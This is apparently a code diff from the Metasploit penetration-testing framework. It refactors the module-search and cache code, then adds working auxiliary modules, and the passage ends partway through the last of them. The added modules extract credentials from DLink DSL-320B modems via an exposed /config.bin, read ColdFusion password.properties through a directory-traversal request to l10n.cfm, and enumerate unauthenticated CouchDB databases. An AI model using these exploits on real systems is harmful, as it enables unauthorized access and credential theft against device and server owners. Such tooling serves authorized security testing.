def module_to_details_hash(m)
|
||||||
|
@ -523,21 +540,45 @@ class DBManager
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Wraps values in +'%'+ for Arel::Prediciation#matches_any and other match* methods that map to SQL +'LIKE'+ or
|
||||||
|
# +'ILIKE'+
|
||||||
#
|
#
|
||||||
|
# @param values [Set<String>, #each] a list of strings.
|
||||||
|
# @return [Arrray<String>] strings wrapped like %<string>%
|
||||||
|
def match_values(values)
|
||||||
|
wrapped_values = values.collect { |value|
|
||||||
|
"%#{value}%"
|
||||||
|
}
|
||||||
|
|
||||||
|
wrapped_values
|
||||||
|
end
|
||||||
|
|
||||||
# This provides a standard set of search filters for every module.
|
# This provides a standard set of search filters for every module.
|
||||||
# The search terms are in the form of:
|
|
||||||
# {
|
|
||||||
# "text" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ],
|
|
||||||
# "cve" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ]
|
|
||||||
# }
|
|
||||||
#
|
#
|
||||||
# Returns true on no match, false on match
|
# Supported keywords with the format <keyword>:<search_value>:
|
||||||
|
# +app+:: If +client+ then matches +'passive'+ stance modules, otherwise matches +'active' stance modules.
|
||||||
|
# +author+:: Matches modules with the given author email or name.
|
||||||
|
# +bid+:: Matches modules with the given Bugtraq ID.
|
||||||
|
# +cve+:: Matches modules with the given CVE ID.
|
||||||
|
# +edb+:: Matches modules with the given Exploit-DB ID.
|
||||||
|
# +name+:: Matches modules with the given full name or name.
|
||||||
|
# +os+, +platform+:: Matches modules with the given platform or target name.
|
||||||
|
# +osvdb+:: Matches modules with the given OSVDB ID.
|
||||||
|
# +ref+:: Matches modules with the given reference ID.
|
||||||
|
# +type+:: Matches modules with the given type.
|
||||||
#
|
#
|
||||||
def search_modules(search_string, inclusive=false)
|
# Any text not associated with a keyword is matched against the description,
|
||||||
return false if not search_string
|
# the full name, and the name of the module; the name of the module actions;
|
||||||
|
# the name of the module archs; the name of the module authors; the name of
|
||||||
|
# module platform; the module refs; or the module target.
|
||||||
|
#
|
||||||
|
# @param search_string [String] a string of space separated keyword pairs or
|
||||||
|
# free form text.
|
||||||
|
# @return [[]] if search_string is +nil+
|
||||||
|
# @return [ActiveRecord::Relation] module details that matched
|
||||||
|
# +search_string+
|
||||||
|
def search_modules(search_string)
|
||||||
|
search_string ||= ''
|
||||||
search_string += " "
|
search_string += " "
|
||||||
|
|
||||||
# Split search terms by space, but allow quoted strings
|
# Split search terms by space, but allow quoted strings
|
||||||
|
@ -545,85 +586,122 @@ class DBManager
|
||||||
terms.delete('')
|
terms.delete('')
|
||||||
|
|
||||||
# All terms are either included or excluded
|
# All terms are either included or excluded
|
||||||
res = {}
|
value_set_by_keyword = Hash.new { |hash, keyword|
|
||||||
|
hash[keyword] = Set.new
|
||||||
terms.each do |t|
|
|
||||||
f,v = t.split(":", 2)
|
|
||||||
if not v
|
|
||||||
v = f
|
|
||||||
f = 'text'
|
|
||||||
end
|
|
||||||
next if v.length == 0
|
|
||||||
f.downcase!
|
|
||||||
v.downcase!
|
|
||||||
res[f] ||= [ ]
|
|
||||||
res[f] << v
|
|
||||||
end
|
|
||||||
|
|
||||||
::ActiveRecord::Base.connection_pool.with_connection {
|
|
||||||
|
|
||||||
where_q = []
|
|
||||||
where_v = []
|
|
||||||
|
|
||||||
res.keys.each do |kt|
|
|
||||||
res[kt].each do |kv|
|
|
||||||
kv = kv.downcase
|
|
||||||
case kt
|
|
||||||
when 'text'
|
|
||||||
xv = "%#{kv}%"
|
|
||||||
where_q << ' ( ' +
|
|
||||||
'module_details.fullname ILIKE ? OR module_details.name ILIKE ? OR module_details.description ILIKE ? OR ' +
|
|
||||||
'module_authors.name ILIKE ? OR module_actions.name ILIKE ? OR module_archs.name ILIKE ? OR ' +
|
|
||||||
'module_targets.name ILIKE ? OR module_platforms.name ILIKE ? OR module_refs.name ILIKE ?' +
|
|
||||||
') '
|
|
||||||
where_v << [ xv, xv, xv, xv, xv, xv, xv, xv, xv ]
|
|
||||||
when 'name'
|
|
||||||
xv = "%#{kv}%"
|
|
||||||
where_q << ' ( module_details.fullname ILIKE ? OR module_details.name ILIKE ? ) '
|
|
||||||
where_v << [ xv, xv ]
|
|
||||||
when 'author'
|
|
||||||
xv = "%#{kv}%"
|
|
||||||
where_q << ' ( module_authors.name ILIKE ? OR module_authors.email ILIKE ? ) '
|
|
||||||
where_v << [ xv, xv ]
|
|
||||||
when 'os','platform'
|
|
||||||
xv = "%#{kv}%"
|
|
||||||
where_q << ' ( module_platforms.name ILIKE ? OR module_targets.name ILIKE ? ) '
|
|
||||||
where_v << [ xv, xv ]
|
|
||||||
when 'port'
|
|
||||||
# TODO
|
|
||||||
when 'type'
|
|
||||||
where_q << ' ( module_details.mtype = ? ) '
|
|
||||||
where_v << [ kv ]
|
|
||||||
when 'app'
|
|
||||||
where_q << ' ( module_details.stance = ? )'
|
|
||||||
where_v << [ ( kv == "client") ? "passive" : "aggressive" ]
|
|
||||||
when 'ref'
|
|
||||||
where_q << ' ( module_refs.name ILIKE ? )'
|
|
||||||
where_v << [ '%' + kv + '%' ]
|
|
||||||
when 'cve','bid','osvdb','edb'
|
|
||||||
where_q << ' ( module_refs.name = ? )'
|
|
||||||
where_v << [ kt.upcase + '-' + kv ]
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
qry = Mdm::ModuleDetail.select("DISTINCT(module_details.*)").
|
|
||||||
joins(
|
|
||||||
"LEFT OUTER JOIN module_authors ON module_details.id = module_authors.module_detail_id " +
|
|
||||||
"LEFT OUTER JOIN module_actions ON module_details.id = module_actions.module_detail_id " +
|
|
||||||
"LEFT OUTER JOIN module_archs ON module_details.id = module_archs.module_detail_id " +
|
|
||||||
"LEFT OUTER JOIN module_refs ON module_details.id = module_refs.module_detail_id " +
|
|
||||||
"LEFT OUTER JOIN module_targets ON module_details.id = module_targets.module_detail_id " +
|
|
||||||
"LEFT OUTER JOIN module_platforms ON module_details.id = module_platforms.module_detail_id "
|
|
||||||
).
|
|
||||||
where(where_q.join(inclusive ? " OR " : " AND "), *(where_v.flatten)).
|
|
||||||
# Compatibility for Postgres installations prior to 9.1 - doesn't have support for wildcard group by clauses
|
|
||||||
group("module_details.id, module_details.mtime, module_details.file, module_details.mtype, module_details.refname, module_details.fullname, module_details.name, module_details.rank, module_details.description, module_details.license, module_details.privileged, module_details.disclosure_date, module_details.default_target, module_details.default_action, module_details.stance, module_details.ready")
|
|
||||||
|
|
||||||
res = qry.all
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
terms.each do |term|
|
||||||
|
keyword, value = term.split(':', 2)
|
||||||
|
|
||||||
|
unless value
|
||||||
|
value = keyword
|
||||||
|
keyword = 'text'
|
||||||
|
end
|
||||||
|
|
||||||
|
unless value.empty?
|
||||||
|
keyword.downcase!
|
||||||
|
|
||||||
|
value_set = value_set_by_keyword[keyword]
|
||||||
|
value_set.add value
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
query = Mdm::Module::Detail.scoped
|
||||||
|
|
||||||
|
ActiveRecord::Base.connection_pool.with_connection do
|
||||||
|
# Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports
|
||||||
|
# intersection, so creating the where clause has to be delayed until all conditions can be or'd together and
|
||||||
|
# passed to one call ot where.
|
||||||
|
union_conditions = []
|
||||||
|
|
||||||
|
value_set_by_keyword.each do |keyword, value_set|
|
||||||
|
case keyword
|
||||||
|
when 'author'
|
||||||
|
formatted_values = match_values(value_set)
|
||||||
|
|
||||||
|
query = query.includes(:authors)
|
||||||
|
module_authors = Mdm::Module::Author.arel_table
|
||||||
|
union_conditions << module_authors[:email].matches_any(formatted_values)
|
||||||
|
union_conditions << module_authors[:name].matches_any(formatted_values)
|
||||||
|
when 'name'
|
||||||
|
formatted_values = match_values(value_set)
|
||||||
|
|
||||||
|
module_details = Mdm::Module::Detail.arel_table
|
||||||
|
union_conditions << module_details[:fullname].matches_any(formatted_values)
|
||||||
|
union_conditions << module_details[:name].matches_any(formatted_values)
|
||||||
|
when 'os', 'platform'
|
||||||
|
formatted_values = match_values(value_set)
|
||||||
|
|
||||||
|
query = query.includes(:platforms)
|
||||||
|
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
|
||||||
|
|
||||||
|
query = query.includes(:targets)
|
||||||
|
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
|
||||||
|
when 'text'
|
||||||
|
formatted_values = match_values(value_set)
|
||||||
|
|
||||||
|
module_details = Mdm::Module::Detail.arel_table
|
||||||
|
union_conditions << module_details[:description].matches_any(formatted_values)
|
||||||
|
union_conditions << module_details[:fullname].matches_any(formatted_values)
|
||||||
|
union_conditions << module_details[:name].matches_any(formatted_values)
|
||||||
|
|
||||||
|
query = query.includes(:actions)
|
||||||
|
union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values)
|
||||||
|
|
||||||
|
query = query.includes(:archs)
|
||||||
|
union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values)
|
||||||
|
|
||||||
|
query = query.includes(:authors)
|
||||||
|
union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values)
|
||||||
|
|
||||||
|
query = query.includes(:platforms)
|
||||||
|
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
|
||||||
|
|
||||||
|
query = query.includes(:refs)
|
||||||
|
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
|
||||||
|
|
||||||
|
query = query.includes(:targets)
|
||||||
|
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
|
||||||
|
when 'type'
|
||||||
|
formatted_values = match_values(value_set)
|
||||||
|
union_conditions << Mdm::Module::Detail.arel_table[:mtype].matches_any(formatted_values)
|
||||||
|
when 'app'
|
||||||
|
formatted_values = value_set.collect { |value|
|
||||||
|
formatted_value = 'aggressive'
|
||||||
|
|
||||||
|
if value == 'client'
|
||||||
|
formatted_value = 'passive'
|
||||||
|
end
|
||||||
|
|
||||||
|
formatted_value
|
||||||
|
}
|
||||||
|
|
||||||
|
union_conditions << Mdm::Module::Detail.arel_table[:stance].eq_any(formatted_values)
|
||||||
|
when 'ref'
|
||||||
|
formatted_values = match_values(value_set)
|
||||||
|
|
||||||
|
query = query.includes(:refs)
|
||||||
|
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
|
||||||
|
when 'cve', 'bid', 'osvdb', 'edb'
|
||||||
|
formatted_values = value_set.collect { |value|
|
||||||
|
prefix = keyword.upcase
|
||||||
|
|
||||||
|
"#{prefix}-#{value}"
|
||||||
|
}
|
||||||
|
|
||||||
|
query = query.includes(:refs)
|
||||||
|
union_conditions << Mdm::Module::Ref.arel_table[:name].eq_any(formatted_values)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
unioned_conditions = union_conditions.inject { |union, condition|
|
||||||
|
union.or(condition)
|
||||||
|
}
|
||||||
|
|
||||||
|
query = query.where(unioned_conditions).uniq
|
||||||
|
end
|
||||||
|
|
||||||
|
query
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -46,13 +46,19 @@ module Msf::ModuleManager::Cache
|
||||||
loaded
|
loaded
|
||||||
end
|
end
|
||||||
|
|
||||||
# Rebuild the cache for the module set
|
# @overload refresh_cache_from_module_files
|
||||||
|
# Rebuilds database and in-memory cache for all modules.
|
||||||
#
|
#
|
||||||
# @return [void]
|
# @return [void]
|
||||||
def refresh_cache_from_module_files(mod = nil)
|
# @overload refresh_cache_from_module_files(module_class_or_instance)
|
||||||
|
# Rebuilds database and in-memory cache for given module_class_or_instance.
|
||||||
|
#
|
||||||
|
# @param (see Msf::DBManager#update_module_details)
|
||||||
|
# @return [void]
|
||||||
|
def refresh_cache_from_module_files(module_class_or_instance = nil)
|
||||||
if framework_migrated?
|
if framework_migrated?
|
||||||
if mod
|
if module_class_or_instance
|
||||||
framework.db.update_module_details(mod)
|
framework.db.update_module_details(module_class_or_instance)
|
||||||
else
|
else
|
||||||
framework.db.update_all_module_details
|
framework.db.update_all_module_details
|
||||||
end
|
end
|
||||||
|
@ -61,7 +67,7 @@ module Msf::ModuleManager::Cache
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Reset the module cache
|
# Refreshes the in-memory cache from the database cache.
|
||||||
#
|
#
|
||||||
# @return [void]
|
# @return [void]
|
||||||
def refresh_cache_from_database
|
def refresh_cache_from_database
|
||||||
|
@ -86,25 +92,30 @@ module Msf::ModuleManager::Cache
|
||||||
# @return (see #module_info_by_path_from_database!)
|
# @return (see #module_info_by_path_from_database!)
|
||||||
attr_accessor :module_info_by_path
|
attr_accessor :module_info_by_path
|
||||||
|
|
||||||
# Return a module info from Mdm::ModuleDetails in database.
|
# Return a module info from Mdm::Module::Details in database.
|
||||||
#
|
#
|
||||||
# @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set.
|
# @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set.
|
||||||
#
|
#
|
||||||
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::ModuleDetail#file) to module information. Module
|
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module
|
||||||
# information is a Hash derived from Mdm::ModuleDetail. It includes :modification_time, :parent_path, :type,
|
# information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type,
|
||||||
# :reference_name.
|
# :reference_name.
|
||||||
def module_info_by_path_from_database!
|
def module_info_by_path_from_database!
|
||||||
self.module_info_by_path = {}
|
self.module_info_by_path = {}
|
||||||
|
|
||||||
if framework_migrated?
|
if framework_migrated?
|
||||||
# TODO record module parent_path in {Mdm::ModuleDetail} so it does not need to be derived from file.
|
ActiveRecord::Base.connection_pool.with_connection do
|
||||||
::Mdm::ModuleDetail.find(:all).each do |module_detail|
|
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
|
||||||
|
# Use find_each so Mdm::Module::Details are returned in batches, which will
|
||||||
|
# handle the growing number of modules better than all.each.
|
||||||
|
Mdm::Module::Detail.find_each do |module_detail|
|
||||||
path = module_detail.file
|
path = module_detail.file
|
||||||
type = module_detail.mtype
|
type = module_detail.mtype
|
||||||
reference_name = module_detail.refname
|
reference_name = module_detail.refname
|
||||||
|
|
||||||
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
|
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
|
||||||
escaped_typed_path = Regexp.escape(typed_path)
|
# join to '' so that typed_path_prefix starts with file separator
|
||||||
|
typed_path_suffix = File.join('', typed_path)
|
||||||
|
escaped_typed_path = Regexp.escape(typed_path_suffix)
|
||||||
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
|
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
|
||||||
|
|
||||||
module_info_by_path[path] = {
|
module_info_by_path[path] = {
|
||||||
|
@ -124,6 +135,7 @@ module Msf::ModuleManager::Cache
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
self.module_info_by_path
|
self.module_info_by_path
|
||||||
end
|
end
|
||||||
|
|
|
@ -1386,17 +1386,16 @@ class Core
|
||||||
print_line
|
print_line
|
||||||
print_line "Keywords:"
|
print_line "Keywords:"
|
||||||
{
|
{
|
||||||
"name" => "Modules with a matching descriptive name",
|
'app' => 'Modules that are client or server attacks',
|
||||||
"path" => "Modules with a matching path or reference name",
|
'author' => 'Modules written by this author',
|
||||||
"platform" => "Modules affecting this platform",
|
'bid' => 'Modules with a matching Bugtraq ID',
|
||||||
"port" => "Modules with a matching remote port",
|
'cve' => 'Modules with a matching CVE ID',
|
||||||
"type" => "Modules of a specific type (exploit, auxiliary, or post)",
|
'edb' => 'Modules with a matching Exploit-DB ID',
|
||||||
"app" => "Modules that are client or server attacks",
|
'name' => 'Modules with a matching descriptive name',
|
||||||
"author" => "Modules written by this author",
|
'osvdb' => 'Modules with a matching OSVDB ID',
|
||||||
"cve" => "Modules with a matching CVE ID",
|
'platform' => 'Modules affecting this platform',
|
||||||
"bid" => "Modules with a matching Bugtraq ID",
|
'ref' => 'Modules with a matching ref',
|
||||||
"osvdb" => "Modules with a matching OSVDB ID",
|
'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
|
||||||
"edb" => "Modules with a matching Exploit-DB ID"
|
|
||||||
}.each_pair do |keyword, description|
|
}.each_pair do |keyword, description|
|
||||||
print_line " #{keyword.ljust 10}: #{description}"
|
print_line " #{keyword.ljust 10}: #{description}"
|
||||||
end
|
end
|
||||||
|
@ -1456,9 +1455,13 @@ class Core
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def search_modules_sql(match)
|
# Prints table of modules matching the search_string.
|
||||||
|
#
|
||||||
|
# @param (see Msf::DBManager#search_modules)
|
||||||
|
# @return [void]
|
||||||
|
def search_modules_sql(search_string)
|
||||||
tbl = generate_module_table("Matching Modules")
|
tbl = generate_module_table("Matching Modules")
|
||||||
framework.db.search_modules(match).each do |o|
|
framework.db.search_modules(search_string).each do |o|
|
||||||
tbl << [ o.fullname, o.disclosure_date.to_s, RankingName[o.rank].to_s, o.name ]
|
tbl << [ o.fullname, o.disclosure_date.to_s, RankingName[o.rank].to_s, o.name ]
|
||||||
end
|
end
|
||||||
print_line(tbl.to_s)
|
print_line(tbl.to_s)
|
||||||
|
|
|
@ -0,0 +1,92 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'DLink DSL 320B Password Extractor',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an authentication bypass vulnerability in DLink DSL 320B
|
||||||
|
<=v1.23. This vulnerability allows to extract the credentials for the remote
|
||||||
|
management interface.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '25252' ],
|
||||||
|
[ 'OSVDB', '93013' ],
|
||||||
|
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ],
|
||||||
|
[ 'URL', 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ],
|
||||||
|
],
|
||||||
|
'Author' => [
|
||||||
|
'Michael Messner <devnull@s3cur1ty.de>',
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
|
||||||
|
|
||||||
|
#download configuration
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/config.bin',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
return if res.nil?
|
||||||
|
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /micro_httpd/)
|
||||||
|
return if (res.code == 404)
|
||||||
|
|
||||||
|
if res.body =~ /sysPassword value/ or res.body =~ /sysUserName value/
|
||||||
|
if res.body !~ /sysPassword value/
|
||||||
|
print_status("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin")
|
||||||
|
else
|
||||||
|
print_good("#{rhost}:#{rport} - Credentials successfully extracted")
|
||||||
|
end
|
||||||
|
|
||||||
|
#store all details as loot -> there is some usefull stuff in the response
|
||||||
|
loot = store_loot("dlink.dsl320b.config","text/plain", rhost, res.body)
|
||||||
|
print_good("#{rhost}:#{rport} - Configuration of DSL 320B downloaded to: #{loot}")
|
||||||
|
|
||||||
|
user = ""
|
||||||
|
pass = ""
|
||||||
|
|
||||||
|
res.body.each_line do |line|
|
||||||
|
if line =~ /\<sysUserName\ value\=\"(.*)\"\/\>/
|
||||||
|
user = $1
|
||||||
|
next
|
||||||
|
end
|
||||||
|
if line =~ /\<sysPassword\ value\=\"(.*)\"\/\>/
|
||||||
|
pass = $1
|
||||||
|
pass = Rex::Text.decode_base64(pass)
|
||||||
|
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
|
||||||
|
report_auth_info(
|
||||||
|
:host => rhost,
|
||||||
|
:port => rport,
|
||||||
|
:sname => 'http',
|
||||||
|
:user => user,
|
||||||
|
:pass => pass,
|
||||||
|
:active => true
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -19,8 +19,8 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the
|
The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the
|
||||||
length of an encrypted message when used with a TLS version 1.1 or above. This
|
length of an encrypted message when used with a TLS version 1.1 or above. This
|
||||||
leads to an integer underflow which can cause a DoS. The vulnerable function
|
leads to an integer underflow which can cause a DoS. The vulnerable function
|
||||||
aesni_cbc_hmac_sha1_cipher is only included in the 64 bits versions of OpenSSL.
|
aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL.
|
||||||
This module has been tested successfully on Ubuntu 12.04 (64 bits) with the default
|
This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default
|
||||||
OpenSSL 1.0.1c package.
|
OpenSSL 1.0.1c package.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
|
|
|
@ -0,0 +1,106 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "ColdFusion 'password.properties' Hash Extraction",
|
||||||
|
'Description' => %q{
|
||||||
|
This module uses a directory traversal vulnerability to extract information
|
||||||
|
such as password, rdspassword, and "encrypted" properties. This module has been
|
||||||
|
tested successfully on ColdFusion 9 and ColdFusion 10. Use actions to select the
|
||||||
|
target ColdFusion version.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'OSVDB', '93114' ],
|
||||||
|
[ 'EDB', '25305' ]
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'HTP',
|
||||||
|
'sinn3r'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Actions' =>
|
||||||
|
[
|
||||||
|
['ColdFusion10'],
|
||||||
|
['ColdFusion9']
|
||||||
|
],
|
||||||
|
'DefaultAction' => 'ColdFusion10',
|
||||||
|
'DisclosureDate' => "May 7 2013" #The day we saw the subzero poc
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8500),
|
||||||
|
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
"#{datastore['RHOST']}:#{datastore['RPORT']}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
filename = ""
|
||||||
|
case action.name
|
||||||
|
when 'ColdFusion10'
|
||||||
|
filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
|
||||||
|
when 'ColdFusion9'
|
||||||
|
filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
|
||||||
|
end
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
|
||||||
|
'encode_params' => false,
|
||||||
|
'encode' => false,
|
||||||
|
'vars_get' => {
|
||||||
|
'attributes.id' => 'it',
|
||||||
|
'attributes.file' => '../../administrator/mail/download.cfm',
|
||||||
|
'filename' => filename,
|
||||||
|
'attributes.locale' => 'it',
|
||||||
|
'attributes.var' => 'it',
|
||||||
|
'attributes.jscript' => 'false',
|
||||||
|
'attributes.type' => 'text/html',
|
||||||
|
'attributes.charset' => 'UTF-8',
|
||||||
|
'thisTag.executionmode' => 'end',
|
||||||
|
'thisTag.generatedContent' => 'htp'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
print_error("#{peer} - Unable to receive a response")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || ''
|
||||||
|
password = res.body.scan(/^password=(.+)/).flatten[0] || ''
|
||||||
|
encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || ''
|
||||||
|
|
||||||
|
if rdspass.empty? and password.empty?
|
||||||
|
# No pass collected, no point to store anything
|
||||||
|
print_error("#{peer} - No passwords found")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("#{peer} - rdspassword = #{rdspass}")
|
||||||
|
print_good("#{peer} - password = #{password}")
|
||||||
|
print_good("#{peer} - encrypted = #{encrypted}")
|
||||||
|
|
||||||
|
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
|
||||||
|
print_good("#{peer} - password.properties stored in '#{p}'")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,85 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'CouchDB Enum Utility',
|
||||||
|
'Description' => %q{
|
||||||
|
Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default)
|
||||||
|
},
|
||||||
|
'Author' => [ 'espreto <robertoespreto[at]gmail.com>' ],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(5984),
|
||||||
|
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
|
||||||
|
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]),
|
||||||
|
OptString.new('USERNAME', [false, 'The username to login as']),
|
||||||
|
OptString.new('PASSWORD', [false, 'The password to login with'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
username = datastore['USERNAME']
|
||||||
|
password = datastore['PASSWORD']
|
||||||
|
|
||||||
|
uri = normalize_uri(target_uri.path)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => uri,
|
||||||
|
'method' => datastore['HTTP_METHOD'],
|
||||||
|
'authorization' => basic_auth(username, password),
|
||||||
|
'headers' => {
|
||||||
|
'Cookie' => 'Whatever?'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
print_error("No response for #{target_host}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
temp = JSON.parse(res.body)
|
||||||
|
rescue JSON::ParserError
|
||||||
|
print_error("Unable to parse JSON")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
results = JSON.pretty_generate(temp)
|
||||||
|
|
||||||
|
if (res.code == 200)
|
||||||
|
print_good("#{target_host}:#{rport} -> #{res.code}")
|
||||||
|
print_good("Response Headers:\n\n #{res.headers}")
|
||||||
|
print_good("Response Body:\n\n #{results}\n")
|
||||||
|
elsif (res.code == 403) # Forbidden
|
||||||
|
print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}")
|
||||||
|
print_error("Response from server:\n\n #{results}\n")
|
||||||
|
elsif (res.code == 404) # Not Found
|
||||||
|
print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}")
|
||||||
|
print_error("Response from server:\n\n #{results}\n")
|
||||||
|
else
|
||||||
|
print_status("Received #{res.code}")
|
||||||
|
print_line("#{results}")
|
||||||
|
end
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0
|
||||||
|
path = store_loot("couchdb.enum.file", "text/plain", rhost, res.body, "CouchDB Enum Results")
|
||||||
|
